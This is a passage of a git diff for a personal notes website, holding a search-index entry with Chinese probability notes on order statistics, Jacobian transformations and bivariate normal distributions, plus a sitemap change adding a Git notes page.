\\int_{-\\infty}^{\\infty} p(z x_2, x_2) x_2 \\, dx_2 \\, dz = \\int_{-\\infty}^y p_{\\eta}(z) \\, dz \\] <p>\u8fd9\u8bf4\u660e\u82e5 \\( (\\xi_1, \\xi_2) \\) \u662f\u8fde\u7eed\u578b\u968f\u673a\u5411\u91cf\uff0c\u5219 \\( \\eta = \\frac{\\xi_1}{\\xi_2} \\) \u662f\u8fde\u7eed\u578b\u968f\u673a\u53d8\u91cf\uff0c\u5176\u5bc6\u5ea6\u51fd\u6570\u4e3a</p> \\[ p_{\\eta}(z) = \\int_{-\\infty}^{\\infty} p(z x, x) |x| \\, dx. \\] <p>\u63a8\u5bfc\u8fc7\u7a0b\u4e2d\u4e0d\u7ba1\\(y\\)\u662f\u6b63\u8fd8\u662f\u8d1f\uff0c\u79ef\u5206\u533a\u57df\u603b\u80fd\u8fd9\u6837\u5212\u5206</p> <p>\u8bbe \\( \\xi_1, \\xi_2, \\dots, \\xi_n \\) \u72ec\u7acb\u540c\u5206\u5e03\uff0c\u5206\u5e03\u51fd\u6570\u90fd\u4e3a \\( F(x) \\)\u3002\u628a \\( \\xi_1, \\xi_2, \\dots, \\xi_n \\) \u6bcf\u53d6\u4e00\u7ec4\u503c \\( \\xi_1(\\omega), \\xi_2(\\omega), \\dots, \\xi_n(\\omega) (\\omega \\in \\Omega) \\) \u90fd\u6309\u5927\u5c0f\u6b21\u5e8f\u6392\u5217\uff0c\u6240\u5f97\u968f\u673a\u53d8\u91cf \\( \\xi_{(1)}, \\xi_{(2)}, \\dots, \\xi_{(n)} \\) \u79f0\u4e3a \u6b21\u5e8f\u7edf\u8ba1\u91cf  (order statistics)\uff0c\u5b83\u4eec\u6ee1\u8db3 \\( \\xi_{(1)} \\leq \\xi_{(2)} \\leq \\dots \\leq \\xi_{(n)} \\)\u3002\u6309\u5b9a\u4e49\uff0c\\( \\xi_{(1)} = \\min(\\xi_1, \\xi_2, \\dots, \\xi_n) \\)\uff0c\\( \\xi_{(n)} = \\max(\\xi_1, \\xi_2, \\dots, \\xi_n) \\)\u3002</p> <p>\u73b0\u5728\u6765\u6c42 \\( \\xi_{(1)}, \\xi_{(n)} \\) \u53ca \\( (\\xi_{(1)}, \\xi_{(n)}) \\) \u7684\u5206\u5e03\uff0c\u8fd9\u5728\u6570\u7406\u7edf\u8ba1\u4e2d\u662f\u6709\u7528\u7684\u3002</p> \u6781\u503c\u968f\u673a\u53d8\u91cf <p>\\(\\xi_{(1)}\\)\u662f\u6700\u5c0f\u503c\uff0c\\(\\xi_{(n)}\\)\u662f\u6700\u5927\u503c,\\(\\xi_{(k)}\\)\u662f\u7b2ck\u5c0f\u503c</p> <ol> <li> <p>\\( \\xi_{(n)} \\) \u7684\u5206\u5e03\u51fd\u6570</p> \\[   P(\\xi_{(n)} \\leq x) = P(\\xi_1 \\leq x, \\xi_2 \\leq x, \\dots, \\xi_n \\leq x) \\] \\[   = P(\\xi_1 \\leq x) P(\\xi_2 \\leq x) \\cdots P(\\xi_n \\leq x) \\] \\[   = [F(x)]^n. \\] </li> <li> <p>\\( \\xi_{(1)} \\) \u7684\u5206\u5e03\u51fd\u6570</p> <p>\u5148\u8003\u8651 \\( \\{\\xi_{(1)} \\leq x\\} \\) \u7684\u9006\u4e8b\u4ef6 \\( \\{\\xi_{(1)} &gt; x\\} \\)\uff0c</p> \\[   P(\\xi_{(1)} &gt; x) = P(\\xi_1 &gt; x, \\xi_2 &gt; x, \\dots, \\xi_n &gt; x) \\] \\[   = P(\\xi_1 &gt; x) P(\\xi_2 &gt; x) \\cdots P(\\xi_n &gt; x) \\] \\[   = [1 - F(x)]^n. \\] <p>\u6545</p> \\[   P(\\xi_{(1)} \\leq x) = 1 - [1 - F(x)]^n. \\] </li> <li> <p>\\( (\\xi_{(1)}, \\xi_{(n)}) \\) \u7684\u8054\u5408\u5206\u5e03\u51fd\u6570</p> \\[   F(x, y) = P(\\xi_{(1)} \\leq x, \\xi_{(n)} \\leq y) \\] \\[   = P(\\xi_{(n)} \\leq y) - P(\\xi_{(1)} &gt; x, \\xi_{(n)} \\leq y) \\] \\[   = [F(y)]^n - P \\left( \\bigcap_{i=1}^n (x &lt; \\xi_i \\leq y) \\right). \\] <p>\u56e0\u6b64\u5f53 \\( x &lt; y \\) \u65f6\uff0c</p> \\[   F(x, y) = [F(y)]^n - [F(y) - F(x)]^n. \\] <p>\u5f53 \\( x \\geq y \\) \u65f6\uff0c</p> \\[   F(x, y) = [F(y)]^n. \\] <p>\u5982\u679c \\( \\xi_1, \\dots, \\xi_n \\) \u662f\u8fde\u7eed\u578b\u968f\u673a\u53d8\u91cf\uff0c\u6709\u5bc6\u5ea6 \\( p(x) = F'(x) \\)\uff0c\u5219\u4e0a\u9762\u5404\u968f\u673a\u53d8\u91cf\uff08\u5411\u91cf\uff09\u4e5f\u662f\u8fde\u7eed\u578b\u7684\uff0c\u53ef\u5c06\u5404\u5206\u5e03\u51fd\u6570\u6c42\u5bfc\u4ee5\u5f97\u5230\u5bc6\u5ea6\u51fd\u6570\u3002</p> </li> </ol> <p>4.\u7b2ck\u5c0f\u503c\u7684\u5bc6\u5ea6\u51fd\u6570</p> \\[     p_{\\xi_{(k)}}(x) = \\frac{n!}{(k-1)!(n-k)!} [F(x)]^{k-1} [1-F(x)]^{n-k} f(x) \\] <p>\u5176\u4e2d\\(f(x)\\)\u662f\u5bc6\u5ea6\u51fd\u6570</p> <p>\u5728\u524d\u9762\u6709\\(k-1\\)\u4e2a\u5c0f\u4e8e\\(x\\)\u7684\u503c,\u518d\u6311\u4e00\u4e2a\u5728\\(x\\)\u9886\u57df\u7684\u503c\uff0c\u6709\\(n-k\\)\u4e2a\u5927\u4e8e\\(x\\)\u7684\u503c\uff0c\u8ba9\u9886\u57df\u7f29\u5c0f\uff0c\u9664\u4ee5\u8be5\u9886\u57df\u5c31\u5f97\u5230\u5bc6\u5ea6\u51fd\u6570</p> \\[     \\lim_{\\varepsilon \\to 0} \\frac{P(x \\leqslant \\xi_{(k)} \\leqslant x + \\varepsilon)}{\\varepsilon} = p_{\\xi_{(k)}}(x) \\] <p>\u5982\u679c\u662f\u591a\u4e2a\u5c31\u591a\u4e2a\u5c0f\u9886\u57df\uff0c\u7136\u540e\u9664\u4ee5\u5c0f\u9886\u57df\u7684\u957f\u5ea6</p> <p>Warning</p> <p>\u8fd9\u79cd\u4ece\u8d1f\u65e0\u7a77\u79ef\u5206\u5230\u6b63\u65e0\u7a77\u7684\u5199\u6cd5\u53ea\u662f\u5f62\u5f0f\u4e0a\u7684\uff0c\u5b9e\u9645\u4e0a\u6211\u4eec\u8981\u6839\u636e\u5177\u4f53\u5bc6\u5ea6\u51fd\u6570\u7684\u53d6\u503c\u6765\u8fdb\u4e00\u6b65\u5224\u65ad\u79ef\u5206\u533a\u57df</p>"},{"location":"NOTE/Probability/second/#_20","title":"\u591a\u4e2a\u503c\u51fd\u6570","text":"<p>\u6211\u4eec\u4ec5\u8003\u8651\u8fde\u7eed\u578b\u968f\u673a\u5411\u91cf\u7684\u53d8\u6362\u3002</p> <p>\u5047\u8bbe \\((X, Y)\\) \u4e3a\u8fde\u7eed\u578b\u968f\u673a\u5411\u91cf\uff0c\u5177\u6709\u8054\u5408\u5bc6\u5ea6\u51fd\u6570 \\(p(X, Y)(x, y)\\)\u3002\u53d8\u6362\u5982\u4e0b\uff1a</p> \\[ \\begin{cases} U = f_1(X, Y) \\\\ V = f_2(X, Y) \\end{cases} \\] <p>\u6c42 \\((U, V)\\) \u7684\u5206\u5e03\uff1f</p> <ul> <li>\u57fa\u672c\u65b9\u6cd5</li> </ul> \\[ \\begin{align*} P(U \\leqslant u, V \\leqslant v) &amp;= P(f_1(X, Y) \\leqslant u, f_2(X, Y) \\leqslant v) \\\\ &amp;= P((X, Y) \\in \\{(x, y) : f_1(x, y) \\leqslant u, f_2(x, y) \\leqslant v\\}) \\\\ &amp;= \\int_{(x,y): f_1(x,y) \\leqslant u, f_2(x,y) \\leqslant v} p(x, y) \\, dx \\, dy \\end{align*} \\] <p>\u5982\u679c\\(f_1\\)\u548c\\(f_2\\)\u53ef\u9006\uff0c\u90a3\u4e48</p> \\[ \\begin{cases} X = f_1^{-1}(U, V) \\\\ Y = f_2^{-1}(U, V) \\end{cases} \\] <p>\u53d6Jacobian\u884c\u5217\u5f0f</p> \\[ J = \\left| \\begin{array}{cc} \\frac{\\partial f_1^{-1}(u, v)}{\\partial u} &amp; \\frac{\\partial f_1^{-1}(u, v)}{\\partial v} \\\\ \\frac{\\partial f_2^{-1}(u, v)}{\\partial u} &amp; \\frac{\\partial f_2^{-1}(u, v)}{\\partial v} \\end{array} \\right| \\] <p>\u90a3\u4e48</p> \\[     P(U \\leqslant u', V \\leqslant v') = \\int_{(u,v): u \\leqslant u', v \\leqslant v'} p(f_1^{-1}(u,v), f_2^{-1}(u,v)) |J| \\, du \\, dv \\] <p>\u5373</p> \\[     p(u, v) = p(f_1^{-1}(u,v), f_2^{-1}(u,v)) |J| \\] <p>Key-point</p> <p>\\(x,y\\)\u5206\u522b\u7528\\(u,v\\)\u8868\u793a\uff0c\u518d\u4e58\u4ee5\u96c5\u514b\u6bd4\u884c\u5217\u5f0f,\u53ef\u4ee5\u63a8\u5e7f\u5230\\(n\\)\u7ef4\u968f\u673a\u5411\u91cf\u7684\u60c5\u51b5\uff1a</p> <p>\u8bbe \\((\\xi_1, \\ldots, \\xi_n)\\) \u7684\u5bc6\u5ea6\u51fd\u6570\u4e3a \\(p(x_1, \\ldots, x_n)\\). \u73b0\u5728\u6709 \\(m\\) \u4e2a\u51fd\u6570: \\(\\eta_1 = f_1(\\xi_1, \\ldots, \\xi_n), \\ldots, \\eta_m = f_m(\\xi_1, \\ldots, \\xi_n)\\), \u5219 \\((\\eta_1, \\ldots, \\eta_m)\\) \u4e5f\u662f\u968f\u673a\u53d8\u91cf. \u9664\u4e86\u5404\u8fb9\u9645\u5206\u5e03\u5916\uff0c\u8fd8\u8981\u6c42\u5176\u8054\u5408\u5206\u5e03. \u4f8b\u5982 (2.67) \u5f0f\uff0c\u5176\u8054\u5408\u5206\u5e03\u51fd\u6570\u4e3a</p> \\[ G(y_1, \\ldots, y_m) = P(\\eta_1 \\leq y_1, \\ldots, \\eta_m \\leq y_m) = \\int \\cdots \\int p(x_1, \\ldots, x_n) dx_1 \\cdots dx_n, \\tag{2.72} \\] <p>\u8fd9\u91cc \\(D\\) \u662f \\(n\\) \u7ef4\u533a\u57df: \\(\\{(x_1, \\ldots, x_n): f_1(x_1, \\ldots, x_n) \\leq y_1, \\ldots, f_m(x_1, \\ldots, x_n) \\leq y_m\\}\\).</p> <p>\u5982\u679c \\(m = n, f_j, j = 1, \\ldots, n\\) \u6709\u552f\u4e00\u7684\u53cd\u51fd\u6570\u7ec4: \\(x_i = x_i(y_1, \\ldots, y_n), i = 1, \\ldots, n\\), \u4e14</p> \\[ J = \\frac{\\partial(x_1, \\ldots, x_n)}{\\partial(y_1, \\ldots, y_n)} \\neq 0, \\] <p>\u5219 \\((\\eta_1, \\ldots, \\eta_n)\\) \u662f\u8fde\u7eed\u578b\u968f\u673a\u53d8\u91cf. \u5f53 \\((y_1, \\ldots, y_n) \\in (f_1, \\ldots, f_n)\\) \u7684\u503c\u57df\u65f6\uff0c\u5176\u5bc6\u5ea6\u4e3a</p> \\[ q(y_1, \\ldots, y_n) = p(x_1(y_1, \\ldots, y_n), \\ldots, x_n(y_1, \\ldots, y_n)) |J|, \\tag{2.73} \\] <p>\u5176\u4ed6\u60c5\u51b5, \\(q(y_1, \\ldots, y_n) = 0\\).</p> <p>Example</p> <p>Property</p> <p>\u5b9e\u9645\u4e0a\uff0c\u5bf9\u4e8e\u8054\u5408\u6b63\u6001\u5206\u5e03\uff0c\u6211\u4eec\u53ef\u4ee5\u8bbe</p> \\[     \\boldsymbol{X} =(x,y), \\boldsymbol{\\mu} =(\\mu_1,\\mu_2) \\] \\[ \\Sigma = \\begin{pmatrix} \\sigma_1^2 &amp; \\rho\\sigma_1\\sigma_2 \\\\ \\rho\\sigma_1\\sigma_2 &amp; \\sigma_2^2 \\end{pmatrix} \\] \\[     \\Sigma^{-1} =A \\begin{pmatrix} \\dfrac{1}{\\sigma_1^2} &amp; -\\dfrac{\\rho}{\\sigma_1\\sigma_2} \\\\ -\\dfrac{\\rho}{\\sigma_1\\sigma_2} &amp; \\dfrac{1}{\\sigma_2^2} \\end{pmatrix} \\] <p>\u5176\u4e2dA\u4e3a\\(\\dfrac{1}{1-\\rho^2}\\)\u7684\u4e00\u4e2a\u6570\u4e58\u77e9\u9635</p> <p>\u90a3\u4e48\u8054\u5408\u6b63\u6001\u5206\u5e03\u7684\u5bc6\u5ea6\u51fd\u6570\u4e3a</p> \\[ p(X, Y)(x, y) = \\frac{1}{2\\pi |\\Sigma|^{\\frac{1}{2}}} e^{-\\frac{1}{2} (\\mathbf{x} - \\boldsymbol{\\mu})^{\\mathrm{T}} \\Sigma^{-1} (\\mathbf{x} - \\boldsymbol{\\mu})} \\] <p>\u8bbe </p> \\[ \\begin{pmatrix} U \\\\ V \\end{pmatrix} = \\begin{pmatrix} a &amp; b \\\\ c &amp; d \\end{pmatrix} \\cdot \\begin{pmatrix} X \\\\ Y \\end{pmatrix} = A \\cdot \\begin{pmatrix} X \\\\ Y \\end{pmatrix} \\] <p>\u8bbe</p> \\[     \\mathbf{x} = \\begin{pmatrix}     x \\\\     y     \\end{pmatrix} \\] \\[     \\mathbf{u} = \\begin{pmatrix}     u \\\\     v     \\end{pmatrix} \\] <p>\u90a3\u4e48</p> \\[     \\mathbf{u} = A \\mathbf{x} \\] <p>\u53d6\u9006\u53d8\u6362</p> \\[     \\mathbf{x} = A^{-1} \\mathbf{u} \\] \\[\\begin{align*} p(U,V)(u,v) &amp;= p(X,Y)(A^{-1} \\mathbf{u}) |J|\\\\             &amp;=  \\frac{1}{2\\pi |\\Sigma|^{\\frac{1}{2}}} e^{-\\frac{1}{2} (A^{-1} \\mathbf{u} - \\boldsymbol{\\mu})^{\\mathrm{T}} \\Sigma^{-1} (A^{-1} \\mathbf{u} - \\boldsymbol{\\mu})} |A^{-1}|\\\\             &amp;= \\frac{1}{2\\pi |A \\Sigma A^{\\mathrm{T}}|^{\\frac{1}{2}}} e^{-\\frac{1}{2} ( \\mathbf{u} - A\\boldsymbol{\\mu})^{\\mathrm{T}} (A \\Sigma A^{\\mathrm{T}})^{-1} (\\mathbf{u} - A\\boldsymbol{\\mu})}\\\\ \\end{align*}\\] <p>\u6545</p> \\[     (U,V) \\sim \\mathcal{N}(A\\boldsymbol{\\mu}, A \\Sigma A^{\\mathrm{T}}) \\] <p>Key-point</p> <p>\u5373\\((U,V)\\)\u7684\u534f\u65b9\u5dee\u77e9\u9635\u4e3a\\(A \\Sigma A^{\\mathrm{T}}\\), \u5747\u503c\u4e3a\\(A\\boldsymbol{\\mu}\\); \u603b\u7ed3\u800c\u8a00\uff0c\u5bf9\u4e8e\\((X,Y)\\)\u7684\u8054\u5408\u6b63\u6001\u5206\u5e03\u505a\u7ebf\u6027\u53d8\u6362\uff0c\u65b0\u7684\u968f\u673a\u5411\u91cf\u4ecd\u7136\u662f\u8054\u5408\u6b63\u6001\u5206\u5e03\uff0c\u4e14\u5747\u503c\u4e5f\u505a\u4e86\u76f8\u5e94\u7684\u7ebf\u6027\u53d8\u6362\uff0c\u534f\u65b9\u5dee\u77e9\u9635\u505a\u4e86\u76f8\u5e94\u7684 \u53d8\u6362 \uff0c\u4f46\u662f\u8f6c\u7f6e\u5728\u540e\u9762\u3002</p> <p>\u5982\u679c\u505a\u6781\u5750\u6807\u53d8\u6362</p> \\[     \\begin{cases}     x = \\rho \\cos \\theta \\\\     y = \\rho \\sin \\theta     \\end{cases} \\] <p>\u8054\u5408\u5bc6\u5ea6\u51fd\u6570\uff1a</p> \\[    p(\\rho, \\theta) = \\frac{1}{2\\pi} e^{-\\frac{1}{2}((\\rho \\cos \\theta)^2 + (\\rho \\sin \\theta)^2)} \\rho \\] <p>\u53ef\u4ee5\u7b80\u5316\u4e3a\uff1a</p> \\[    p(\\rho, \\theta) = \\frac{1}{2\\pi} \\rho e^{-\\frac{\\rho^2}{2}} \\] <p>\u8fb9\u9645\u5206\u5e03\uff1a</p> <ul> <li> <p>\u5bf9\u4e8e \\(\\rho\\)\uff1a</p> \\[    \\rho \\sim p_\\rho(\\rho) = \\rho e^{-\\frac{\\rho^2}{2}}, \\quad \\rho &gt; 0 \\] </li> <li> <p>\u5bf9\u4e8e \\(\\theta\\)\uff1a</p> \\[     \\theta \\sim p_\\theta(\\theta) = \\frac{1}{2\\pi}, \\quad 0 &lt; \\theta &lt; 2\\pi \\] </li> </ul> <p>\u72ec\u7acb\u6027\uff1a    \\(\\rho\\) \u548c \\(\\theta\\) \u662f\u72ec\u7acb\u7684\u968f\u673a\u53d8\u91cf\u3002</p> <p>\u79f0 \\(\\rho\\) \u4e3a Rayleigh \u5206\u5e03\uff0c\\(\\theta\\) \u4e3a\u5747\u5300\u5206\u5e03\u3002    </p> <p>Eg</p> <p>$\\xi, \\eta $\u76f8\u4e92\u72ec\u7acb\uff0c\u90fd\u670d\u4ece\u53c2\u6570\u4e3a 1 \u7684\u6307\u6570\u5206\u5e03\uff0c\u6c42 \\(\\alpha = \\xi + \\eta\\) \u4e0e \\(\\beta = \\dfrac{\\xi}{\\eta}\\) \u7684\u8054\u5408\u5bc6\u5ea6\uff1b\u5e76\u5206\u522b\u6c42\u51fa \\(\\alpha\\)\u4e0e \\(\\beta\\) \u7684\u5bc6\u5ea6\u3002</p> <p>\\((\\xi, \\eta)\\) \u7684\u8054\u5408\u5bc6\u5ea6\u4e3a\uff1a\u5f53 \\(x &gt; 0\\) \u4e14 \\(y &gt; 0\\) \u65f6\uff0c</p> \\[ p(x, y) = e^{-(x+y)}, \\quad x &gt; 0, y &gt; 0. \\] <p>\u5176\u4ed6\u60c5\u51b5\u4e3a 0\u3002</p> <p>\u51fd\u6570\u7ec4\u4e3a\uff1a</p> \\[ \\begin{cases} u = x + y \\\\ v = x / y \\end{cases} \\] <p>\u8ba1\u7b97\u96c5\u53ef\u6bd4\u884c\u5217\u5f0f\uff1a</p> \\[ J^{-1} = \\frac{\\partial(u, v)}{\\partial(x, y)} = \\begin{vmatrix} 1 &amp; 1 \\\\ \\frac{1}{y} &amp; -\\frac{x}{y^2} \\end{vmatrix} = 1 \\cdot \\left(-\\frac{x}{y^2}\\right) - 1 \\cdot \\frac{1}{y} = -\\frac{(1+v)^2}{u}. \\] <p>\u6545</p> \\[ |J| = \\dfrac{u}{(1 + v)^2}. \\] <p>\\((\\alpha, \\beta)\\) \u7684\u8054\u5408\u5bc6\u5ea6\u4e3a\uff1a</p> \\[ q(u, v) = \\begin{cases} \\dfrac{ue^{-u}}{(1 + v)^2}, &amp; u &gt; 0, v &gt; 0, \\\\ 0, &amp; \\text{\u5176\u4ed6}. \\end{cases} \\] <p>\\(\\alpha = \\xi + \\eta\\) \u4e0e \\(\\beta = \\dfrac{\\xi}{\\eta}\\) \u5404\u81ea\u7684\u5bc6\u5ea6\u4e3a \\(q(u, v)\\) \u7684\u8fb9\u9645\u5bc6\u5ea6\u3002\u4e0d\u96be\u770b\u51fa\uff1a</p> \\[ p_{\\alpha}(u) = \\begin{cases} ue^{-u}, &amp; u &gt; 0, \\\\ 0, &amp; u \\leqslant 0. \\end{cases} \\] <p>\u548c</p> \\[ p_{\\beta}(v) = \\begin{cases} \\dfrac{1}{1 + v^2}, &amp; v &gt; 0, \\\\ 0, &amp; v \\leqslant 0. \\end{cases} \\] <p>\u5e76\u4e14 \\(\\alpha,\\beta\\) \u76f8\u4e92\u72ec\u7acb\u3002</p> <p>\u672c\u4f8b\u4e2d\uff0c\u81ea\u7136\u4e5f\u53ef\u4ee5\u7528\u5355\u5143\u7684\u65b9\u6cd5\u8ba1\u7b97 \\(\\xi + \\eta\\) \u5404\u81ea\u7684\u5206\u5e03\uff0c\u4f46\u8fd9\u91cc\u7684\u65b9\u6cd5\u663e\u7136\u66f4\u4fbf\u6377,\u66f4\u65b9\u4fbf\u3002</p> <p>Key-point</p> <p>\u8fd9\u662f\u4e00\u4e2a\u5bcc\u6709\u6709\u8da3\u6027\u7684\u4f8b\u5b50\uff0c\u5b83\u544a\u8bc9\u6211\u4eec\uff1a</p> <ul> <li> <p>\u8981\u5224\u65ad\u968f\u673a\u53d8\u91cf\u7684\u51e0\u4e2a\u51fd\u6570\u662f\u5426\u72ec\u7acb\uff0c\u53ef\u7528\u968f\u673a\u53d8\u91cf\u53d8\u6362\u6c42\u5f97\u5b83\u4eec\u7684\u8054\u5408\u5206\u5e03\uff0c\u518d\u7528\u72ec\u7acb\u6027\u7684\u5404\u79cd\u5fc5\u8981\u6761\u4ef6\u6765\u5224\u65ad\uff1b</p> </li> <li> <p>\u8981\u6c42\u968f\u673a\u53d8\u91cf\u7684\u4e00\u4e2a\u51fd\u6570\u7684\u5206\u5e03\uff0c\u6709\u65f6\u53ef\u4f5c\u9002\u5f53\u8865\u5145\uff0c\u5148\u6c42\u5b83\u4eec\u7684\u8054\u5408\u5206\u5e03\uff0c\u800c\u540e\u8981\u6c42\u7684\u51fd\u6570\u7684\u5206\u5e03\u5219\u4f5c\u4e3a\u6c42\u5176\u8fb9\u9645\u5206\u5e03\u3002</p> </li> </ul> <p>\u6240\u4ee5\u5bf9\u4e8e\u6211\u4eec\u524d\u9762\u8ba8\u8bba\u7684\u5355\u5143\u51fd\u6570\uff0c\u4e5f\u53ef\u4ee5\u5c06\u5176\u8865\u5168\u4e3a\u591a\u5143\uff0c\u518d\u8ba1\u7b97\u8fb9\u9645\u5206\u5e03\uff0c\u4f8b\u5982\u5bf9\u4e8e\\(\\alpha = \\xi + \\eta\\)\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06\u5176\u8865\u5168\u4e3a\\((\\alpha,\\beta) = (\\xi + \\eta, \\eta)\\)\uff0c\u518d\u8ba1\u7b97\\((\\alpha,\\beta)\\)\u7684\u8054\u5408\u5206\u5e03\uff0c\u6700\u540e\u6c42\u51fa\\(\\alpha\\)\u7684\u8fb9\u9645\u5206\u5e03\uff0c\u8fd9\u4e0e\u6211\u4eec\u524d\u9762\u7684\u7ed3\u679c\u662f\u4e00\u6837\u7684</p>"},{"location":"blog/","title":"Blog","text":"<p> \u7ea6 1 \u4e2a\u5b57 </p>"},{"location":"movies/movies/","title":"Movies","text":"<p> \u7ea6 13 \u4e2a\u5b57 </p> Info <p>this is a quote</p>"},{"location":"movies/movies/#_1","title":"\u4eba\u751f\u82e6\u77ed\uff0c\u7eb5\u60c5\u71c3\u70e7","text":""}]}
\ No newline at end of file
diff --git a/sitemap.xml b/sitemap.xml
index 738bdec..fa87e5d 100755
--- a/sitemap.xml
+++ b/sitemap.xml
@@ -150,6 +150,11 @@
          <lastmod>2025-01-20</lastmod>
          <changefreq>daily</changefreq>
     </url>
+    <url>
+         <loc>https://note.kailqq.cc/NOTE/CS/GIT/</loc>
+         <lastmod>2025-01-20</lastmod>
+         <changefreq>daily</changefreq>
+    </url>
     <url>
          <loc>https://note.kailqq.cc/NOTE/CS/RUST/RUST/</loc>
          <lastmod>2025-01-20</lastmod>
diff --git a/sitemap.xml.gz b/sitemap.xml.gz
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